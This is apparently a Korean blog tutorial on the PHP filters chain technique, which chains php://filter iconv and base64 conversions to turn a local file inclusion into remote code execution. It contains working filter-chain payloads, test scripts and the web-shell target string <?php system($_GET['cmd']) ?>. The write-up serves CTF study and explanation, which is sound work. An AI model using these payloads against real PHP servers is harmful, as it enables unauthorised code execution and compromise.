PHP Filters Chain 기법
- -
PHP Filters Chain
개요
PHP Filters Chain이란 무엇일까요?
PHP Filters Chain 이란 PHP에 존재하는 Wapper과 Conversion Filter들을 활용해 임의의 코드 조각 또는 String을 생성하는 방법 입니다.
그렇다면 우리는 왜 PHP Filter Chain을 사용 할까요?
CTF 문제에서 LFI 취약점이 발생할 수 있는 include 계열의 함수들에는 ".php"로 끝나는 파일만 삽입할 수 있도록 소스코드가 작성 되어있는 경우가 많습니다. 이런 경우 우리는 서버내 존재하는 PHP 파일을 삽입할 수 있습니다.
하지만 우리가 원하는 코드를 실행시키기는 어렵습니다. 이때 PHP Filters Chain 기법을 활용하면 위 문제 상황을 해결할 수 있습니다. PHP Wapper와 연속적인 Conversion Filter들을 활용해 최종적으로 우리는 임의의 코드 조각을 생성하여 삽입하여 원격 코드 실행을 할 수 있습니다.
이제 PHP Filter Chain을 설명하기 앞서 Wapper와 Conversion Filter들에 대해서 알아보겠습니다.
PHP Wappers
PHP Wapper은 fopen(), copy(), file_exists() 그리고 filesize()와 같은 함수들을 지원하기 위해 존재하는 URL-Style Protocol입니다.
PHP Wapper에는 다음과 같은 종류가 존재합니다.
- file:// -- 파일 시스템에 접근할 때 사용됩니다.
- http:// -- HTTP(s) URL에 접근할 때 사용됩니다.
- ftp:// -- FTP(s) URL에 접근할 때 사용됩니다.
- php:// -- PHP에서 사용되는 다양한 I/O에 접근할 때 사용됩니다.
- zlib:// -- 파일을 압축할 때 사용됩니다.
- data:// -- 필요한 resource를 inline으로 삽입할 때 사용됩니다. RFC 표준 2397과 같습니다.
- glob:// -- 패턴 매칭을 통해 파일의 경로들을 찾을 때 사용됩니다.
- phar:// -- phar 확장자 를 지원하는 wapper 입니다.
- ssh2:// -- SSL 연결을 지원할 때 사용됩니다. (기본 제공 확장이 아님)
- rar:// -- rar 압축 파일의 내용을 읽고, 압축 해제된 파일을 다룰 때 사용됩니다. (기본 제공 확장이 아님)
- ogg:// -- 오디오 데이터를 접근 할 때 사용됩니다. ( 기본 제공 확장이 아님 )
- expect:// -- stdio, stdout, stderr에 접근 할 때 사용됩니다. (기본 제공 확장이 아님)
Conversion Filter
약 7000개가 넘는 세계 각국의 언어들을 지원하기 위해 PHP는 Conversion Filter 기능을 지원합니다.
이 기능을 통해 우리는 다른 언어의 문자들을 우리가 원하는 언어 셋으로 변환할 수 있습니다.
Conversion Filter의 기본적인 기능은 다음과 같습니다.
- convert.base64-encode -- base64 형식으로 encoding 합니다.
- convert.base64-decode -- base64 형식으로 되어있는 String을 Plain으로 되돌립니다.
- convert.quoted-printable-encode -- String중 ASCII 문자 집합 외 문자들만 encoding합니다.
- convert.quoted-printable-decode -- encoding된 String을 Plain으로 되돌립니다.
- convert.iconv.* -- input으로 들어온 String을 다른 문자셋으로 변환합니다.
여기서 PHP Filters Chain은 convert.iconv.*를 사용합니다. 이때 환경에 따라 iconv는 Default로 활성화되어 있지 않을 수도 있습니다. iconv 확장이 활성화 되있는지는 phpinfo 페이지를 통해 확인할 수 있습니다.
iconv의 사용법은 다음과 같습니다.
convert.iconv.<input-encoding>.<output-encoding>
or
convert.iconv.<input-encoding>/<output-encoding>
ex )
convert.iconv.UTF8.UTF7 -- 데이터의 문자셋을 UTF8에서 UTF7로 변경합니다.
PHP Filters Chain 기법 원리
그렇다면 PHP Filters Chain은 어떠한 방법으로 우리가 원하는 임의 코드 조각을 생성할까요?
PHP Filters Chain 공격을 알기 쉽게 비유하자면 연쇄적인 Conversion Filter을 통해 임의의 데이터를 계속 변환해 줌으로써 우리가 원하는 글자의 한조각 한조각씩 찾아 기워 맞추는것과 같습니다.
우리가 최종적으로 원하는 글자를 S라고 가정 해보겠습니다.
다들 인터넷을 하면서 글자가 깨진 경우를 많이 보았을 것 입니다.
그런 것들은 인터넷에서 "뷁어" 라고 불리며 이 문제는 다들 아시다시피
잘못된 인코딩 변환으로 문자가 깨진것 이 원인입니다.
이런 현상을 이용하여 우리는 원본 String을 다른 문자 집합(Character Set)으로 연속적으로 변경하여 원하는 값을 얻어낼 수 있습니다. 하지만 이런 방법은 원본 String이 어떤 값인지, 원본 String의 문자셋이 어떠한 종류인지에 따라 사용되는 문자 집합의 종류와 문자셋을 변경해야 하는 횟수가 달라집니다.
1차 Payload
S 라는 글자를 만들기 위해서 우리는 원본 String을 iconv를 통해 문자셋을 계속 변경할겁니다.
S를 만드는 Payload는 아래와 같을 것 입니다.
php://convert.iconv.{문자집합1}.{문자집합2}|convert.iconv.{문자집합3}.{문자집합4} ... /resource=test.txt
# 여기서 | 는 Pipeline의 역할을 합니다.
# resource는 원본 String이 존재하는 파일입니다.
# test.txt 의 내용 : TEST
이 방법으로 원하는 글자인 S를 찾고자 한다면 많은 시행착오가 필요할 것 입니다.
그리고 원본 String이 고정된 값이 아니기 때문에 다른 환경에서 같은 payload가 동작하지 않을 수도 있습니다.
여기서 우리는 원본 String을 고정하기 위해 php://temp 또는 php://memory를 resource로 사용할 수 있습니다.
php://temp 그리고 php://memory
php://temp와 php://memory는 데이터를 파일 처럼 임시적으로 읽고 쓸 수 있도록 저장할 수 있는 wrapper 입니다.
아무 값도 저장하지 않은 초기 상태인 temp와 memory는 ""(빈값)입니다.
이것을 resource로 사용하여 원본 String을 항상 고정된 값이되도록 할 수 있습니다.
그렇다면 이런 의문이 생길 수 있습니다.
원본 String이 빈 값이면 문자 집합을 다른걸로 변경해도 결국 빈값이지 않을까?
원본 String을 고정하는데는 좋은 방법이지만.. 값이 아무것도 없다면,
다른 문자 집합으로 변경해도 글자인 S를 만들 수 없는 것이 아닐까?
테스트 환경은 다음과 같습니다.
# Dockerfile
# docker build -f ./Dockerfile -t phptester:0.1 .
# docker run --memory="1G" --name phptester -d -p 5438:5000 phptester:0.1
FROM php:7.4.30-zts
COPY ./docker-entrypoint.sh /docker-entrypoint.sh
EXPOSE 5000
ENTRYPOINT [ "/bin/sh" ]
CMD [ "/docker-entrypoint.sh" ]
#!/bin/sh
# docker-entrypoint.sh
while :
do
sleep 60
done
도커 빌드를 완료한 후
우선 아래 명령어를 통해 현재 리눅스 환경에서 사용가능한 문자 집합의 목록을 확인해 보도록 하겠습니다.
저 중 몇 개의 문자 집합을 골라
위 테스트 환경에서 아래 코드를 사용해서 실험을 진행해보면 항상 빈 값이 나온다는것을 알 수 있습니다.
# /tmp/test.php
$resource_string = file_get_contents('php://temp'); # ''값이 반환 됩니다.
$iso_2022_7bits_encodings = array('ISO-2022-CN', 'ISO-2022-JP', 'ISO-2022-JP-2');
foreach ($iso_2022_7bits_encodings as $elem){
echo "[$elem] : hex [";
# UTF8 -> iso 문자셋 시리즈
echo bin2hex(iconv('UTF8',$elem, $resource_string))."]\n";
}
# 결과값
# root@90272fe4e8ec:/tmp/test# php test.php
# [ISO-2022-CN] : hex []
# [ISO-2022-JP] : hex []
# [ISO-2022-JP-2] : hex []
여기서 특이한 점이 있습니다. Linux 환경(Window에서는 안됐습니다.)에서
다른 문자셋(ex. UTF8)에서 ISO-2022-KR 문자셋으로 변환하면 문자열 제일 앞 쪽에 1b 24 39 43 이 삽입 됩니다.
# /tmp/test.php
$resource_string = file_get_contents('php://temp'); # ''값이 반환 됩니다.
$iso_2022_7bits_encodings = array('ISO-2022-CN', 'ISO-2022-JP', 'ISO-2022-JP-2', 'ISO-2022-KR');
foreach ($iso_2022_7bits_encodings as $elem){
echo "[$elem] : hex [";
# UTF8 -> iso 문자셋 시리즈
echo bin2hex(iconv('UTF8',$elem, $resource_string))."]\n";
}
# 결과값
# root@90272fe4e8ec:/tmp/test# php test.php
# [ISO-2022-CN] : hex []
# [ISO-2022-JP] : hex []
# [ISO-2022-JP-2] : hex []
# [ISO-2022-KR] : hex [1b242943]
왜 저런 값이 삽입 될까요? 그 이유는 [RFC 1557] 에 잘 나와있습니다.
Description
It is assumed that the starting code of the message is ASCII. ASCII and Korean characters can be distinguished by use of the shift function. For example, the code SO will alert us that the upcoming bytes will be a Korean character as defined in KSC 5601. To return to ASCII the SI code is used.
Therefore, the escape sequence, shift function and character set used in a message are as follows:
SO KSC 5601
SI ASCII
ESC $ ) C Appears once in the beginning of a line before any appearance of SO characters.
ISO-2022-KR
ISO-2022-KR은 ASCII와 KSC 5601 한국어 문자 집합을 사용하는 인코딩 방식입니다.
이 인코딩 체계에서는 특정 이스케이프 시퀀스와 시프트 함수를 사용하여 ASCII 문자와 한국어 문자 간에 전환합니다.
이스케이프 시퀀스는 ESC $ ) C 이며 SO(Shift Out) 문자가 처음 나타나기 전 시작 부분에 생겨납니다.
여기서 ESC $ ) C 는 Byte로 1b 24 39 43 입니다.
이러한 특징 때문에 ISO-2022-KR로 변환하면 문자열 제일 앞쪽에 1b 24 39 43이 삽입되는 현상이 일어납니다.
우리는 이 특징을 이용해 php://temp 또는 php://memory를 resource로 사용 했을 때의 단점을 없앨 수 있습니다.
2차 Payload
이제 우리는 위 두가지 특징을 이용하여 payload를 아래와 같이 정의할 수 있습니다.
php://convert.iconv.UTF8.CSISO2022KR|convert.iconv.{문자집합1}.{문자집합2} ... /resource=php://temp
or
php://convert.iconv.UTF8.CSISO2022KR|convert.iconv.{문자집합1}.{문자집합2} ... /resource=php://memory
# php://{temp|memory} 로 원본 String 고정
# UTF8 -> CSISO2022KR 문자 집합 변환 : 1b 24 29 43 값 삽입
위 Payload를 활용하여 우리가 원하는 글자인 S를 만들어 보겠습니다. HackTrick에 관련 Payload가 있었습니다.
이 기법에 대해 먼저 연구한 사람이 원하는 문자열을 만들 수 있도록 모든 문자 집합 변환 과정을 Brute Force를 통해 구한뒤 올려 놓았습니다.
S를 만들기 위해 우리는 빈 문자열에 대해 UTF8 -> CSISO2022KR 로 변환한 뒤
그 결과값을 CP1154에서 UCS4 문자 집합으로 변환 합니다. 그러면 다음과 같이 S(53)이 문자열 맨 끝 생겨납니다.
아래는 문자 집합이 변환될 때 확인할 수 있도록 작성한 코드 입니다.
# analysis_convert.php
# php analysis_convert.php
analysis('convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1154.UCS4');
# hex dump 해주는 함수
function str_hex_dump($s)
{
echo "result(Hex view) :";
$a = unpack('C*', $s);
$i = 0;
foreach ($a as $v) {
$h = strtoupper(dechex($v));
if (strlen($h)<2) $h = '0'.$h;
echo $h.' ';
++$i;
}
printf("(%d bytes)\n\n\n", $i);
}
# 결과값 출력
function print_($s){
$string_ = "php://filter/".$s."/resource=php://temp";
echo "now Payload : ".$string_."\n";
$encoded = file_get_contents($string_);
echo "result(Text view) :".$encoded."\n";
str_hex_dump($encoded);
}
# foreach로 convert문 하나씩 더 붙여주면서 순회
function analysis($s){
$encode_string = "";
$splited = explode('|',$s);
foreach($splited as $value){
$encode_string = $encode_string.$value."|";
print_(substr($encode_string,0,-1));
}
}
문자 집합이 게속해서 변환되며 최종적으로 제일 끝 부분에 S가 포함된 문자열이 되었습니다.
하지만 여기서 한가지 문제점이 있습니다.
우리는 문자 S를 만들긴 했지만 그 과정 동안 문자열이 깨지면서 필요 없는 값들이 생겼습니다.
이 값들을 제거해야 우리는 PHP Code로써 삽입할 수 있습니다.
여기서 우리는 base64의 디코드 방식을 활용할 수 있습니다.
base64-decode
base64 방식으로 encode된 데이터를 decode해 평문값으로 되돌립니다.
그리고 base64 방식으로 encode 된 데이터는 [a-zA-Z0-9+/=] 으로만 이루어져 있기 때문에
형식에 맞지 않는 데이터는 무시하고 decoding하는 특징을 가지고 있습니다.
이 특징을 통해 우리는 필요 없는 값들이 포함된 문자열을 decode하고 다시 encode함으로 써
원하는 값만 추출 할 수 있습니다.
위에서 사용한 s를 만드는 Payload는 decode하고 다시 encode했을때 문자가 깨져서 나옵니다.
그래서 이 링크에 있는 Payload로 사용해보도록 하겠습니다.
z 문자를 만드는 Payload
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937/resource=php://temp
아까 사용 했던 코드를 조금 수정하여 다시 한번 결과값을 확인해보도록 하겠습니다.
# analysis_convert.php
# php analysis_convert.php
analysis('convert.iconv.UTF8.CSISO2022KR|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode');
#...
#...
#...
아래 사진과 같이 더미 값이 사라지고 필요한 값이 제일 앞에 왔음을 알 수 있습니다.
우리는 드디어 이제 z를 만드는데 성공했습니다.
하지만 이것만으로는 PHP Code를 만들 수 없습니다.
왜냐하면 우리가 최종적으로 만들고 싶은 String 값은 아래와 같기 때문입니다.
<?php system($_GET['cmd']) ?>
우리는 방금 base64 decode를 하고 다시 encode를 했습니다. 그말은 우리가 만들 수 있는 문자열은
[a-zA-Z0-9+/=] 이내라는 뜻 입니다.
그래서 우리는 encode한 내용을 다시 decode 함으로써 최종적인 PHP Code를 획득해야 합니다.
우리가 만들어야 하는 값 :
PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk/PiA=
# <?php system($_GET['cmd'])?>을 base64 방식으로 인코딩한 값
하지만 여기서 또 한가지 문제점이 발생합니다.
root@90272fe4e8ec:/tmp/test# echo 'YmFzZTY0==' > test.txt
root@90272fe4e8ec:/tmp/test# php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"
Warning: file_get_contents(): stream filter (convert.base64-decode): invalid byte sequence in Command line code on line 1
# == 포함되어 있어 오류가 발생함
php에서 지원하는 base64_decode() 함수와 내부적으로 동작하는 방식에 약간 차이점이 있는지 =를 재대로 인식하지 못 할 때가 있습니다. 그래서 우리는 UTF7로 변환하여 =를 다른 문자로 변경해줘야 합니다.
최종 Payload
최종적으로 Payload는 아래와 같은 형태가 됩니다.
# 최종 Payload 형태
php://convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|
{특정 문자를 만드는 문자 집합 변환 그룹}|
convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|
convert.base64-decode/resource=php://temp
#문자열 hi를 만들고자 할때는 base64 encode로 aGk를 만들어야 합니다.
php://convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|
{k를 만드는 문자 집합 변환 그룹}|
convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|
{G를 만드는 문자 집합 변환 그룹}|
convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|
{a를 만드는 문자 집합 변환 그룹}|
convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|
convert.base64-decode/resource=php://temp
이때 연속된 글자를 만들때 구하고자 하는 문자들이 깨지지 않도록 무결성을 유지하는 Payload를 작성한분이 있습니다.
이분의 Payload를 활용하면 아래와 같은 Payload가 작성됩니다.
# python ./php_filter_chain_generator.py --chain "hi"
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|
convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|
convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|
convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|
convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|
convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|
convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|
convert.base64-decode/resource=php://temp
성공적으로 원하는 값을 추출할 수 있었습니다.
# php analysis_convert.php
now Payload : php://filter/convert.iconv.UTF8.CSISO2022KR/resource=php://temp
result(Text view) :
result(Hex view) :1B 24 29 43 (4 bytes)
...
...
now Payload : php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
result(Text view) :hi�
P�������>==�@
result(Hex view) :68 69 06 C9 0A 50 C3 E0 03 D0 03 D0 F8 00 F4 00 F4 3E 00 3D 00 3D 0F 80 0F 40 0F (27 bytes)
마무리
이 글은 PHP Filters Chain에 대해 공부하면서 정리한 글 입니다.
아무것도 모르는 사람이 보더라도 이해할 수 있게 끔 단계별로 차근차근 적었습니다.
그리고 다소 틀린 표현이 있을 수 있습니다. 틀린 내용이 있다면 덧글 달아주시면 감사하겠습니다!
그리고 저 같은 경우 Window에서 재대로 동작하지 않았습니다. 실습을 진행하려면 linux 환경에서 해주세요!
또한 제 Window 환경에 존재하는 문자 집합들을 실험해 보았으나 CSISO2022KR 처럼 앞에 값을 붙여주는 문자 집합은
아쉽게도 없었습니다. 그래서 추가적인 문자 집합이 나오지 않는 이상 PHP Filters Chain 기법은 Linux환경에서만 동작할것 같습니다.
참고한 글 :
- PHP filters chain: What is it and how to use it (synacktiv.com)
- https://github.com/synacktiv/php_filter_chain_generator/blob/main/php_filter_chain_generator.py
- https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters
- https://www.rfc-editor.org/rfc/rfc1557.html
- https://www.php.net/manual/en/wrappers.php
- https://www.php.net/manual/en/filters.convert.php
PHP: Supported Protocols and Wrappers - Manual
Even though their names will be the same, you can have more than one //memory or //temp stream open concurrently; each time you fopen() such a stream, a NEW stream will be opened independently of the others.This is hinted at by the fact you don't add any u
www.php.net
PHP filters chain: What is it and how to use it
Searching for new gadget chains to exploit deserialization vulnerabilities can be tedious.
www.synacktiv.com
소중한 공감 감사합니다